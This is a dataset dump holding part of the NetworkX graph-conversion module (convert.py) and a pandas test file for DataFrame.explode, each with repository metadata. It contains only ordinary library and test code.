G=nx.Graph(d)\n    \n    instead of the equivalent\n\n    >>> G=nx.from_dict_of_dicts(d)\n\n    Parameters\n    ----------\n    data : a object to be converted\n       Current known types are:\n         any NetworkX graph\n         dict-of-dicts\n         dist-of-lists\n         list of edges\n         numpy matrix\n         numpy ndarray\n         scipy sparse matrix\n         pygraphviz agraph\n\n    create_using : NetworkX graph\n       Use specified graph for result.  Otherwise a new graph is created.\n\n    multigraph_input : bool (default False)\n      If True and  data is a dict_of_dicts,\n      try to create a multigraph assuming dict_of_dict_of_lists.\n      If data and create_using are both multigraphs then create\n      a multigraph from a multigraph.\n\n    \"\"\"\n    # NX graph\n    if hasattr(data,\"adj\"):\n        try:\n            result= from_dict_of_dicts(data.adj,\\\n                    create_using=create_using,\\\n                    multigraph_input=data.is_multigraph())\n            if hasattr(data,'graph') and isinstance(data.graph,dict):\n                result.graph=data.graph.copy()\n            if hasattr(data,'node') and isinstance(data.node,dict):\n                result.node=dict( (n,dd.copy()) for n,dd in data.node.items() )\n            return result\n        except:\n            raise nx.NetworkXError(\"Input is not a correct NetworkX graph.\")\n\n    # pygraphviz  agraph\n    if hasattr(data,\"is_strict\"):\n        try:\n            return nx.from_agraph(data,create_using=create_using)\n        except:\n            raise nx.NetworkXError(\"Input is not a correct pygraphviz graph.\")\n\n    # dict of dicts/lists\n    if isinstance(data,dict):\n        try:\n            return from_dict_of_dicts(data,create_using=create_using,\\\n                    multigraph_input=multigraph_input)\n        except:\n            try:\n                return from_dict_of_lists(data,create_using=create_using)\n            except:\n                raise TypeError(\"Input is not known type.\")\n\n    # list or generator of edges\n    if (isinstance(data,list)\n        or hasattr(data,'next')\n        or hasattr(data, '__next__')): \n        try:\n            return from_edgelist(data,create_using=create_using)\n        except:\n            raise nx.NetworkXError(\"Input is not a valid edge list\")\n\n    # numpy matrix or ndarray \n    try:\n        import numpy\n        if isinstance(data,numpy.matrix) or \\\n               isinstance(data,numpy.ndarray):\n            try:\n                return from_numpy_matrix(data,create_using=create_using)\n            except:\n                raise nx.NetworkXError(\\\n                  \"Input is not a correct numpy matrix or array.\")\n    except ImportError:\n        warnings.warn('numpy not found, skipping conversion test.',\n                      ImportWarning)\n\n    # scipy sparse matrix - any format\n    try:\n        import scipy\n        if hasattr(data,\"format\"):\n            try:\n                return from_scipy_sparse_matrix(data,create_using=create_using)\n            except:\n                raise nx.NetworkXError(\\\n                      \"Input is not a correct scipy sparse matrix type.\")\n    except ImportError:\n        warnings.warn('scipy not found, skipping conversion test.',\n                      ImportWarning)\n\n\n    raise nx.NetworkXError(\\\n          \"Input is not a known data type for conversion.\")\n\n    return \n\n\ndef convert_to_undirected(G):\n    \"\"\"Return a new undirected representation of the graph G.\n\n    \"\"\"\n    return G.to_undirected()\n\n\ndef convert_to_directed(G):\n    \"\"\"Return a new directed representation of the graph G.\n\n    \"\"\"\n    return G.to_directed()\n\n\ndef to_dict_of_lists(G,nodelist=None):\n    \"\"\"Return adjacency representation of graph as a dictionary of lists.\n\n    Parameters\n    ----------\n    G : graph\n       A NetworkX graph \n\n    nodelist : list       \n       Use only nodes specified in nodelist\n\n    Notes\n    -----\n    Completely ignores edge data for MultiGraph and MultiDiGraph.\n\n    \"\"\"\n    if nodelist is None:\n        nodelist=G\n\n    d = {}\n    for n in nodelist:\n        d[n]=[nbr for nbr in G.neighbors(n) if nbr in nodelist]\n    return d            \n\ndef from_dict_of_lists(d,create_using=None):\n    \"\"\"Return a graph from a dictionary of lists.\n\n    Parameters\n    ----------\n    d : dictionary of lists\n      A dictionary of lists adjacency representation.\n\n    create_using : NetworkX graph\n       Use specified graph for result.  Otherwise a new graph is created.\n\n    Examples\n    --------\n    >>> dol= {0:[1]} # single edge (0,1)\n    >>> G=nx.from_dict_of_lists(dol)\n\n    or\n    >>> G=nx.Graph(dol) # use Graph constructor\n\n    \"\"\"\n    G=_prep_create_using(create_using)\n    G.add_nodes_from(d)        \n    if G.is_multigraph() and not G.is_directed():\n        # a dict_of_lists can't show multiedges.  BUT for undirected graphs,\n        # each edge shows up twice in the dict_of_lists.  \n        # So we need to treat this case separately.\n        seen={}\n        for node,nbrlist in d.items():\n            for nbr in nbrlist:\n                if nbr not in seen:\n                    G.add_edge(node,nbr)\n            seen[node]=1  # don't allow reverse edge to show up \n    else:\n        G.add_edges_from( ((node,nbr) for node,nbrlist in d.items() \n                           for nbr in nbrlist) )\n    return G                         \n\n\ndef to_dict_of_dicts(G,nodelist=None,edge_data=None):\n    \"\"\"Return adjacency representation of graph as a dictionary of dictionaries.\n\n    Parameters\n    ----------\n    G : graph\n       A NetworkX graph \n\n    nodelist : list       \n       Use only nodes specified in nodelist\n\n    edge_data : list, optional       \n       If provided,  the value of the dictionary will be\n       set to edge_data for all edges.  This is useful to make\n       an adjacency matrix type representation with 1 as the edge data.\n       If edgedata is None, the edgedata in G is used to fill the values.\n       If G is a multigraph, the edgedata is a dict for each pair (u,v).\n    \n    \"\"\"\n    dod={}\n    if nodelist is None:\n        if edge_data is None:\n            for u,nbrdict in G.adjacency_iter():\n                dod[u]=nbrdict.copy()\n        else: # edge_data is not None\n            for u,nbrdict in G.adjacency_iter():\n                dod[u]=dod.fromkeys(nbrdict, edge_data)\n    else: # nodelist is not None\n        if edge_data is None:\n            for u in nodelist:\n                dod[u]={}\n                for v,data in ((v,data) for v,data in G[u].items() if v in nodelist):\n                    dod[u][v]=data\n        else: # nodelist and edge_data are not None\n            for u in nodelist:\n                dod[u]={}\n                for v in ( v for v in G[u] if v in nodelist):\n                    dod[u][v]=edge_data\n    return dod\n\ndef from_dict_of_dicts(d,create_using=None,multigraph_input=False):\n    \"\"\"Return a graph from a dictionary of dictionaries.\n\n    Parameters\n    ----------\n    d : dictionary of dictionaries\n      A dictionary of dictionaries adjacency representation.\n\n    create_using : NetworkX graph\n       Use specified graph for result.  Otherwise a new graph is created.\n\n    multigraph_input : bool (default False)\n       When True, the values of the inner dict are assumed \n       to be containers of edge data for multiple edges.\n       Otherwise this routine assumes the edge data are singletons.\n\n    Examples\n    --------\n    >>> dod= {0: {1:{'weight':1}}} # single edge (0,1)\n    >>> G=nx.from_dict_of_dicts(dod)\n\n    or\n    >>> G=nx.Graph(dod) # use Graph constructor\n\n    \"\"\"\n    G=_prep_create_using(create_using)\n    G.add_nodes_from(d)\n    # is dict a MultiGraph or MultiDiGraph?\n    if multigraph_input:\n        # make a copy of the list of edge data (but not the edge data)\n        if G.is_directed():  \n            if G.is_multigraph():\n                G.add_edges_from( (u,v,key,data)\n                                  for u,nbrs in d.items() \n                                  for v,datadict in nbrs.items() \n                                  for key,data in datadict.items()\n                                )\n            else:\n                G.add_edges_from( (u,v,data)\n                                  for u,nbrs in d.items() \n                                  for v,datadict in nbrs.items() \n                                  for key,data in datadict.items()\n                                )\n        else: # Undirected\n            if G.is_multigraph():\n                seen=set()   # don't add both directions of undirected graph\n                for u,nbrs in d.items():\n                    for v,datadict in nbrs.items():\n                        if (u,v) not in seen:\n                            G.add_edges_from( (u,v,key,data) \n                                               for key,data in datadict.items()\n                                              )\n                            seen.add((v,u)) \n            else:\n                seen=set()   # don't add both directions of undirected graph\n                for u,nbrs in d.items():\n                    for v,datadict in nbrs.items():\n                        if (u,v) not in seen:\n                            G.add_edges_from( (u,v,data)\n                                        for key,data in datadict.items() )\n                            seen.add((v,u)) \n\n    else: # not a multigraph to multigraph transfer\n        if G.is_multigraph() and not G.is_directed():\n            # d can have both representations u-v, v-u in dict.  Only add one.\n            # We don't need this check for digraphs since we add both directions,\n            # or for Graph() since it is done implicitly (parallel edges not allowed)\n            seen=set()\n            for u,nbrs in d.items():\n                for v,data in nbrs.items():\n                    if (u,v) not in seen:\n                        G.add_edge(u,v,attr_dict=data)\n                    seen.add((v,u))\n        else:\n            G.add_edges_from( ( (u,v,data) \n                                for u,nbrs in d.items() \n                                for v,data in nbrs.items()) )\n    return G                         \n\ndef to_edgelist(G,nodelist=None):\n    \"\"\"Return a list of edges in the graph.\n\n    Parameters\n    ----------\n    G : graph\n       A NetworkX graph \n\n    nodelist : list       \n       Use only nodes specified in nodelist\n\n    \"\"\"\n    if nodelist is None:\n        return G.edges(data=True)\n    else:\n        return G.edges(nodelist,data=True)\n\ndef from_edgelist(edgelist,create_using=None):\n    \"\"\"Return a graph from a list of edges.\n\n    Parameters\n    ----------\n    edgelist : list or iterator\n      Edge tuples \n\n    create_using : NetworkX graph\n       Use specified graph for result.  Otherwise a new graph is created.\n\n    Examples\n    --------\n    >>> edgelist= [(0,1)] # single edge (0,1)\n    >>> G=nx.from_edgelist(edgelist)\n\n    or\n    >>> G=nx.Graph(edgelist) # use Graph constructor\n\n    \"\"\"\n    G=_prep_create_using(create_using)\n    G.add_edges_from(edgelist)\n    return G                         \n\ndef to_numpy_matrix(G, nodelist=None, dtype=None, order=None,\n                    multigraph_weight=sum, weight='weight'):\n    \"\"\"Return the graph adjacency matrix as a NumPy matrix.\n\n    Parameters\n    ----------\n    G : graph\n        The NetworkX graph used to construct the NumPy matrix.\n\n    nodelist : list, optional       \n       The rows and columns are ordered according to the nodes in `nodelist`.\n       If `nodelist` is None, then the ordering is produced by G.nodes().\n\n    dtype : NumPy data type, optional\n        A valid single NumPy data type used to initialize the array. \n        This must be a simple type such as int or numpy.float64 and\n        not a compound data type (see to_numpy_recarray)\n        If None, then the NumPy default is used.\n\n    order : {'C', 'F'}, optional\n        Whether to store multidimensional data in C- or Fortran-contiguous\n        (row- or column-wise) order in memory. If None, then the NumPy default \n        is used.\n\n    multigraph_weight : {sum, min, max}, optional        \n        An operator that determines how weights in multigraphs are handled.\n        The default is to sum the weights of the multiple edges.\n\n    weight : string or None   optional (default='weight')\n        The edge attribute that holds the numerical value used for \n        the edge weight.  If None then all edge weights are 1.\n\n\n    Returns\n    -------\n    M : NumPy matrix\n       Graph adjacency matrix.\n\n    See Also\n    --------\n    to_numpy_recarray, from_numpy_matrix\n\n    Notes\n    -----\n    The matrix entries are assigned with weight edge attribute. When\n    an edge does not have the weight attribute, the value of the entry is 1.\n    For multiple edges, the values of the entries are the sums of the edge\n    attributes for each edge.\n\n    When `nodelist` does not contain every node in `G`, the matrix is built \n    from the subgraph of `G` that is induced by the nodes in `nodelist`.\n    \n    Examples\n    --------\n    >>> G = nx.MultiDiGraph()\n    >>> G.add_edge(0,1,weight=2)\n    >>> G.add_edge(1,0)\n    >>> G.add_edge(2,2,weight=3)\n    >>> G.add_edge(2,2)\n    >>> nx.to_numpy_matrix(G, nodelist=[0,1,2])\n    matrix([[ 0.,  2.,  0.],\n            [ 1.,  0.,  0.],\n            [ 0.,  0.,  4.]])\n\n    \"\"\"\n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError(\\\n          \"to_numpy_matrix() requires numpy: http://scipy.org/ \")\n\n    if nodelist is None:\n        nodelist = G.nodes()\n\n    nodeset = set(nodelist)\n    if len(nodelist) != len(nodeset):\n        msg = \"Ambiguous ordering: `nodelist` contained duplicates.\"\n        raise nx.NetworkXError(msg)\n\n    nlen=len(nodelist)\n    undirected = not G.is_directed()\n    index=dict(zip(nodelist,range(nlen)))\n\n    if G.is_multigraph():\n        # Handle MultiGraphs and MultiDiGraphs\n        # array of nan' to start with, any leftover nans will be converted to 0\n        # nans are used so we can use sum, min, max for multigraphs\n        M = np.zeros((nlen,nlen), dtype=dtype, order=order)+np.nan\n        # use numpy nan-aware operations\n        operator={sum:np.nansum, min:np.nanmin, max:np.nanmax}\n        try:\n            op=operator[multigraph_weight]\n        except:\n            raise ValueError('multigraph_weight must be sum, min, or max')\n\n        for u,v,attrs in G.edges_iter(data=True):\n            if (u in nodeset) and (v in nodeset):\n                i,j = index[u],index[v]\n                e_weight = attrs.get(weight, 1)\n                M[i,j] = op([e_weight,M[i,j]]) \n                if undirected:\n                    M[j,i] = M[i,j]\n        # convert any nans to zeros\n        M = np.asmatrix(np.nan_to_num(M))\n    else:\n        # Graph or DiGraph, this is much faster than above \n        M = np.zeros((nlen,nlen), dtype=dtype, order=order)\n        for u,nbrdict in G.adjacency_iter():\n            for v,d in nbrdict.items():\n                try:\n                    M[index[u],index[v]]=d.get(weight,1)\n                except KeyError:\n                    pass\n        M = np.asmatrix(M)\n    return M\n\n\ndef from_numpy_matrix(A,create_using=None):\n    \"\"\"Return a graph from numpy matrix.\n\n    The numpy matrix is interpreted as an adjacency matrix for the graph.\n\n    Parameters\n    ----------\n    A : numpy matrix\n      An adjacency matrix representation of a graph\n\n    create_using : NetworkX graph\n       Use specified graph for result.  The default is Graph()\n\n    Notes\n    -----\n    If the numpy matrix has a single data type for each matrix entry it \n    will be converted to an appropriate Python data type.  \n\n    If the numpy matrix has a user-specified compound data type the names\n    of the data fields will be used as attribute keys in the resulting \n    NetworkX graph.\n\n    See Also\n    --------\n    to_numpy_matrix, to_numpy_recarray\n\n    Examples\n    --------\n    Simple integer weights on edges:\n\n    >>> import numpy\n    >>> A=numpy.matrix([[1,1],[2,1]])\n    >>> G=nx.from_numpy_matrix(A)\n\n    User defined compound data type on edges:\n\n    >>> import numpy\n    >>> dt=[('weight',float),('cost',int)]\n    >>> A=numpy.matrix([[(1.0,2)]],dtype=dt)                      \n    >>> G=nx.from_numpy_matrix(A)\n    >>> G.edges(data=True)\n    [(0, 0, {'cost': 2, 'weight': 1.0})]\n    \"\"\"\n    kind_to_python_type={'f':float,\n                         'i':int,\n                         'u':int,\n                         'b':bool,\n                         'c':complex,\n                         'S':str,\n                         'V':'void'}\n\n    try: # Python 3.x\n        blurb = chr(1245) # just to trigger the exception\n        kind_to_python_type['U']=str\n    except ValueError: # Python 2.6+\n        kind_to_python_type['U']=unicode\n\n    # This should never fail if you have created a numpy matrix with numpy...  \n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError(\\\n          \"from_numpy_matrix() requires numpy: http://scipy.org/ \")\n\n    G=_prep_create_using(create_using)\n    n,m=A.shape\n    if n!=m:\n        raise nx.NetworkXError(\"Adjacency matrix is not square.\",\n                               \"nx,ny=%s\"%(A.shape,))\n    dt=A.dtype\n    try:\n        python_type=kind_to_python_type[dt.kind]\n    except:\n        raise TypeError(\"Unknown numpy data type: %s\"%dt)\n\n    # make sure we get isolated nodes\n    G.add_nodes_from(range(n)) \n    # get a list of edges\n    x,y=np.asarray(A).nonzero()         \n\n    # handle numpy constructed data type\n    if python_type is 'void':\n        fields=sorted([(offset,dtype,name) for name,(dtype,offset) in\n                       A.dtype.fields.items()])\n        for (u,v) in zip(x,y):         \n            attr={}\n            for (offset,dtype,name),val in zip(fields,A[u,v]):\n                attr[name]=kind_to_python_type[dtype.kind](val)\n            G.add_edge(u,v,attr)\n    else: # basic data type\n        G.add_edges_from( ((u,v,{'weight':python_type(A[u,v])}) \n                           for (u,v) in zip(x,y)) )\n    return G\n\n\ndef to_numpy_recarray(G,nodelist=None,\n                      dtype=[('weight',float)],\n                      order=None):\n    \"\"\"Return the graph adjacency matrix as a NumPy recarray.\n\n    Parameters\n    ----------\n    G : graph\n        The NetworkX graph used to construct the NumPy matrix.\n\n    nodelist : list, optional       \n       The rows and columns are ordered according to the nodes in `nodelist`.\n       If `nodelist` is None, then the ordering is produced by G.nodes().\n\n    dtype : NumPy data-type, optional\n        A valid NumPy named dtype used to initialize the NumPy recarray. \n        The data type names are assumed to be keys in the graph edge attribute \n        dictionary.\n\n    order : {'C', 'F'}, optional\n        Whether to store multidimensional data in C- or Fortran-contiguous\n        (row- or column-wise) order in memory. If None, then the NumPy default \n        is used.\n\n    Returns\n    -------\n    M : NumPy recarray\n       The graph with specified edge data as a Numpy recarray \n\n    Notes\n    -----\n    When `nodelist` does not contain every node in `G`, the matrix is built \n    from the subgraph of `G` that is induced by the nodes in `nodelist`.\n    \n    Examples\n    --------\n    >>> G = nx.Graph()\n    >>> G.add_edge(1,2,weight=7.0,cost=5)\n    >>> A=nx.to_numpy_recarray(G,dtype=[('weight',float),('cost',int)])\n    >>> print(A.weight)\n    [[ 0.  7.]\n     [ 7.  0.]]\n    >>> print(A.cost)\n    [[0 5]\n     [5 0]]\n    \"\"\"\n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError(\\\n          \"to_numpy_matrix() requires numpy: http://scipy.org/ \")\n\n    if G.is_multigraph():\n        raise nx.NetworkXError(\"Not implemented for multigraphs.\")\n\n    if nodelist is None:\n        nodelist = G.nodes()\n\n    nodeset = set(nodelist)\n    if len(nodelist) != len(nodeset):\n        msg = \"Ambiguous ordering: `nodelist` contained duplicates.\"\n        raise nx.NetworkXError(msg)\n\n    nlen=len(nodelist)\n    undirected = not G.is_directed()\n    index=dict(zip(nodelist,range(nlen)))\n    M = np.zeros((nlen,nlen), dtype=dtype, order=order)\n\n    names=M.dtype.names\n    for u,v,attrs in G.edges_iter(data=True):\n        if (u in nodeset) and (v in nodeset):\n            i,j = index[u],index[v]\n            values=tuple([attrs[n] for n in names])\n            M[i,j] = values\n            if undirected:\n                M[j,i] = M[i,j]\n\n    return M.view(np.recarray)\n\n\ndef to_scipy_sparse_matrix(G, nodelist=None, dtype=None, \n                           weight='weight', format='csr'):\n    \"\"\"Return the graph adjacency matrix as a SciPy sparse matrix.\n\n    Parameters\n    ----------\n    G : graph\n        The NetworkX graph used to construct the NumPy matrix.\n\n    nodelist : list, optional       \n       The rows and columns are ordered according to the nodes in `nodelist`.\n       If `nodelist` is None, then the ordering is produced by G.nodes().\n\n    dtype : NumPy data-type, optional\n        A valid NumPy dtype used to initialize the array. If None, then the\n        NumPy default is used.\n\n    weight : string or None   optional (default='weight')\n        The edge attribute that holds the numerical value used for \n        the edge weight.  If None then all edge weights are 1.\n\n    format : str in {'bsr', 'csr', 'csc', 'coo', 'lil', 'dia', 'dok'} \n        The type of the matrix to be returned (default 'csr').  For\n        some algorithms different implementations of sparse matrices\n        can perform better.  See [1]_ for details.\n    \n    Returns\n    -------\n    M : SciPy sparse matrix\n       Graph adjacency matrix.\n\n    Notes\n    -----\n    The matrix entries are populated using the edge attribute held in \n    parameter weight. When an edge does not have that attribute, the \n    value of the entry is 1.\n\n    For multiple edges the matrix values are the sums of the edge weights.\n\n    When `nodelist` does not contain every node in `G`, the matrix is built \n    from the subgraph of `G` that is induced by the nodes in `nodelist`.\n    \n    Uses lil_matrix format. To convert to other formats specify the \n    format= keyword.\n\n    Examples\n    --------\n    >>> G = nx.MultiDiGraph()\n    >>> G.add_edge(0,1,weight=2)\n    >>> G.add_edge(1,0)\n    >>> G.add_edge(2,2,weight=3)\n    >>> G.add_edge(2,2)\n    >>> S = nx.to_scipy_sparse_matrix(G, nodelist=[0,1,2])\n    >>> S.todense()\n    matrix([[ 0.,  2.,  0.],\n            [ 1.,  0.,  0.],\n            [ 0.,  0.,  4.]])\n    \n    References\n    ----------\n    .. [1] Scipy Dev. References, \n       \"Sparse Matrices\"  \n       http://docs.scipy.org/doc/scipy/reference/sparse.html\n    \"\"\"\n    try:\n        from scipy import sparse\n    except ImportError:\n        raise ImportError(\\\n          \"to_scipy_sparse_matrix() requires scipy: http://scipy.org/ \")\n\n    if nodelist is None:\n        nodelist = G.nodes()\n\n    nodeset = set(nodelist)\n    if len(nodelist) != len(nodeset):\n        msg = \"Ambiguous ordering: `nodelist` contained duplicates.\"\n        raise nx.NetworkXError(msg)\n\n    nlen=len(nodelist)\n    undirected = not G.is_directed()\n    index=dict(zip(nodelist,range(nlen)))\n    M = sparse.lil_matrix((nlen,nlen), dtype=dtype)\n\n    for u,v,attrs in G.edges_iter(data=True):\n        if (u in nodeset) and (v in nodeset):\n            i,j = index[u],index[v]\n            M[i,j] += attrs.get(weight, 1)\n            if undirected:\n                M[j,i] = M[i,j]\n    try:\n        return M.asformat(format)\n    except AttributeError:\n        raise nx.NetworkXError(\"Unknown sparse matrix format: %s\"%format)\n    \n\ndef from_scipy_sparse_matrix(A,create_using=None):\n    \"\"\"Return a graph from scipy sparse matrix adjacency list. \n\n    Parameters\n    ----------\n    A : scipy sparse matrix\n      An adjacency matrix representation of a graph\n\n    create_using : NetworkX graph\n       Use specified graph for result.  The default is Graph()\n\n    Examples\n    --------\n    >>> import scipy.sparse\n    >>> A=scipy.sparse.eye(2,2,1)\n    >>> G=nx.from_scipy_sparse_matrix(A)\n\n    \"\"\"\n    G=_prep_create_using(create_using)\n\n    # convert all formats to lil - not the most efficient way       \n    AA=A.tolil()\n    n,m=AA.shape\n\n    if n!=m:\n        raise nx.NetworkXError(\\\n              \"Adjacency matrix is not square. nx,ny=%s\"%(A.shape,))\n    G.add_nodes_from(range(n)) # make sure we get isolated nodes\n\n    for i,row in enumerate(AA.rows):\n        for pos,j in enumerate(row):\n            G.add_edge(i,j,**{'weight':AA.data[i][pos]})\n    return G\n\n# fixture for nose tests\ndef setup_module(module):\n    from nose import SkipTest\n    try:\n        import numpy\n    except:\n        raise SkipTest(\"NumPy not available\")\n    try:\n        import scipy\n    except:\n        raise SkipTest(\"SciPy not available\")\n\n", "meta": {"hexsha": "8a642b7890a631e84f0e876c18efb082ae6f509e", "size": 27005, "ext": "py", "lang": "Python", "max_stars_repo_path": "appengine/networkx/convert.py", "max_stars_repo_name": "CSE512-15S/a3-haynesb-Pending", "max_stars_repo_head_hexsha": "881c3872304f2cd796bd4db7211ab8c3f108586b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2015-03-25T20:20:26.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-14T19:44:56.000Z", "max_issues_repo_path": "appengine/networkx/convert.py", "max_issues_repo_name": "CSE512-15S/a3-haynesb-Pending", "max_issues_repo_head_hexsha": "881c3872304f2cd796bd4db7211ab8c3f108586b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 71, "max_issues_repo_issues_event_min_datetime": "2015-01-05T16:50:55.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-30T19:17:47.000Z", "max_forks_repo_path": "appengine/networkx/convert.py", "max_forks_repo_name": "CSE512-15S/a3-haynesb-Pending", "max_forks_repo_head_hexsha": "881c3872304f2cd796bd4db7211ab8c3f108586b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2015-02-15T22:19:18.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-30T18:54:54.000Z", "avg_line_length": 31.6588511137, "max_line_length": 85, "alphanum_fraction": 0.5799666728, "include": true, "reason": "import numpy,from numpy,import scipy,from scipy,import networkx", "num_tokens": 6413, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073333856566001, "lm_q2_score": 0.12765261204695083, "lm_q1q2_score": 0.05199717065299298}}
{"text": "import numpy as np\nimport pytest\n\nimport pandas.util._test_decorators as td\n\nimport pandas as pd\nimport pandas._testing as tm\n\n# TODO(ArrayManager) concat with reindexing\npytestmark = td.skip_array_manager_not_yet_implemented\n\n\ndef test_error():\n    df = pd.DataFrame(\n        {\"A\": pd.Series([[0, 1, 2], np.nan, [], (3, 4)], index=list(\"abcd\")), \"B\": 1}\n    )\n    with pytest.raises(ValueError, match=\"column must be a scalar\"):\n        df.explode(list(\"AA\"))\n\n    df.columns = list(\"AA\")\n    with pytest.raises(ValueError, match=\"columns must be unique\"):\n        df.explode(\"A\")\n\n\ndef test_basic():\n    df = pd.DataFrame(\n        {\"A\": pd.Series([[0, 1, 2], np.nan, [], (3, 4)], index=list(\"abcd\")), \"B\": 1}\n    )\n    result = df.explode(\"A\")\n    expected = pd.DataFrame(\n        {\n            \"A\": pd.Series(\n                [0, 1, 2, np.nan, np.nan, 3, 4], index=list(\"aaabcdd\"), dtype=object\n            ),\n            \"B\": 1,\n        }\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_multi_index_rows():\n    df = pd.DataFrame(\n        {\"A\": np.array([[0, 1, 2], np.nan, [], (3, 4)], dtype=object), \"B\": 1},\n        index=pd.MultiIndex.from_tuples([(\"a\", 1), (\"a\", 2), (\"b\", 1), (\"b\", 2)]),\n    )\n\n    result = df.explode(\"A\")\n    expected = pd.DataFrame(\n        {\n            \"A\": pd.Series(\n                [0, 1, 2, np.nan, np.nan, 3, 4],\n                index=pd.MultiIndex.from_tuples(\n                    [\n                        (\"a\", 1),\n                        (\"a\", 1),\n                        (\"a\", 1),\n                        (\"a\", 2),\n                        (\"b\", 1),\n                        (\"b\", 2),\n                        (\"b\", 2),\n                    ]\n                ),\n                dtype=object,\n            ),\n            \"B\": 1,\n        }\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_multi_index_columns():\n    df = pd.DataFrame(\n        {(\"A\", 1): np.array([[0, 1, 2], np.nan, [], (3, 4)], dtype=object), (\"A\", 2): 1}\n    )\n\n    result = df.explode((\"A\", 1))\n    expected = pd.DataFrame(\n        {\n            (\"A\", 1): pd.Series(\n                [0, 1, 2, np.nan, np.nan, 3, 4],\n                index=pd.Index([0, 0, 0, 1, 2, 3, 3]),\n                dtype=object,\n            ),\n            (\"A\", 2): 1,\n        }\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_usecase():\n    # explode a single column\n    # gh-10511\n    df = pd.DataFrame(\n        [[11, range(5), 10], [22, range(3), 20]], columns=list(\"ABC\")\n    ).set_index(\"C\")\n    result = df.explode(\"B\")\n\n    expected = pd.DataFrame(\n        {\n            \"A\": [11, 11, 11, 11, 11, 22, 22, 22],\n            \"B\": np.array([0, 1, 2, 3, 4, 0, 1, 2], dtype=object),\n            \"C\": [10, 10, 10, 10, 10, 20, 20, 20],\n        },\n        columns=list(\"ABC\"),\n    ).set_index(\"C\")\n\n    tm.assert_frame_equal(result, expected)\n\n    # gh-8517\n    df = pd.DataFrame(\n        [[\"2014-01-01\", \"Alice\", \"A B\"], [\"2014-01-02\", \"Bob\", \"C D\"]],\n        columns=[\"dt\", \"name\", \"text\"],\n    )\n    result = df.assign(text=df.text.str.split(\" \")).explode(\"text\")\n    expected = pd.DataFrame(\n        [\n            [\"2014-01-01\", \"Alice\", \"A\"],\n            [\"2014-01-01\", \"Alice\", \"B\"],\n            [\"2014-01-02\", \"Bob\", \"C\"],\n            [\"2014-01-02\", \"Bob\", \"D\"],\n        ],\n        columns=[\"dt\", \"name\", \"text\"],\n        index=[0, 0, 1, 1],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\n    \"input_dict, input_index, expected_dict, expected_index\",\n    [\n        (\n            {\"col1\": [[1, 2], [3, 4]], \"col2\": [\"foo\", \"bar\"]},\n            [0, 0],\n            {\"col1\": [1, 2, 3, 4], \"col2\": [\"foo\", \"foo\", \"bar\", \"bar\"]},\n            [0, 0, 0, 0],\n        ),\n        (\n            {\"col1\": [[1, 2], [3, 4]], \"col2\": [\"foo\", \"bar\"]},\n            pd.Index([0, 0], name=\"my_index\"),\n            {\"col1\": [1, 2, 3, 4], \"col2\": [\"foo\", \"foo\", \"bar\", \"bar\"]},\n            pd.Index([0, 0, 0, 0], name=\"my_index\"),\n        ),\n        (\n            {\"col1\": [[1, 2], [3, 4]], \"col2\": [\"foo\", \"bar\"]},\n            pd.MultiIndex.from_arrays(\n                [[0, 0], [1, 1]], names=[\"my_first_index\", \"my_second_index\"]\n            ),\n            {\"col1\": [1, 2, 3, 4], \"col2\": [\"foo\", \"foo\", \"bar\", \"bar\"]},\n            pd.MultiIndex.from_arrays(\n                [[0, 0, 0, 0], [1, 1, 1, 1]],\n                names=[\"my_first_index\", \"my_second_index\"],\n            ),\n        ),\n        (\n            {\"col1\": [[1, 2], [3, 4]], \"col2\": [\"foo\", \"bar\"]},\n            pd.MultiIndex.from_arrays([[0, 0], [1, 1]], names=[\"my_index\", None]),\n            {\"col1\": [1, 2, 3, 4], \"col2\": [\"foo\", \"foo\", \"bar\", \"bar\"]},\n            pd.MultiIndex.from_arrays(\n                [[0, 0, 0, 0], [1, 1, 1, 1]], names=[\"my_index\", None]\n            ),\n        ),\n    ],\n)\ndef test_duplicate_index(input_dict, input_index, expected_dict, expected_index):\n    # GH 28005\n    df = pd.DataFrame(input_dict, index=input_index)\n    result = df.explode(\"col1\")\n    expected = pd.DataFrame(expected_dict, index=expected_index, dtype=object)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_ignore_index():\n    # GH 34932\n    df = pd.DataFrame({\"id\": range(0, 20, 10), \"values\": [list(\"ab\"), list(\"cd\")]})\n    result = df.explode(\"values\", ignore_index=True)\n    expected = pd.DataFrame(\n        {\"id\": [0, 0, 10, 10], \"values\": list(\"abcd\")}, index=[0, 1, 2, 3]\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_explode_sets():\n    # https://github.com/pandas-dev/pandas/issues/35614\n    df = pd.DataFrame({\"a\": [{\"x\", \"y\"}], \"b\": [1]}, index=[1])\n    result = df.explode(column=\"a\").sort_values(by=\"a\")\n    expected = pd.DataFrame({\"a\": [\"x\", \"y\"], \"b\": [1, 1]}, index=[1, 1])\n    tm.assert_frame_equal(result, expected)\n", "meta": {"hexsha": "be80dd49ff1fb2347f463409ad7ead90e7941b3f", "size": 5758, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/frame/methods/test_explode.py", "max_stars_repo_name": "oricou/pandas", "max_stars_repo_head_hexsha": "9405e58d9268041f5416711c051cf5429a19bf49", "max_stars_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-02-02T02:05:28.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-02T02:09:37.000Z", "max_issues_repo_path": "pandas/tests/frame/methods/test_explode.py", "max_issues_repo_name": "oricou/pandas", "max_issues_repo_head_hexsha": 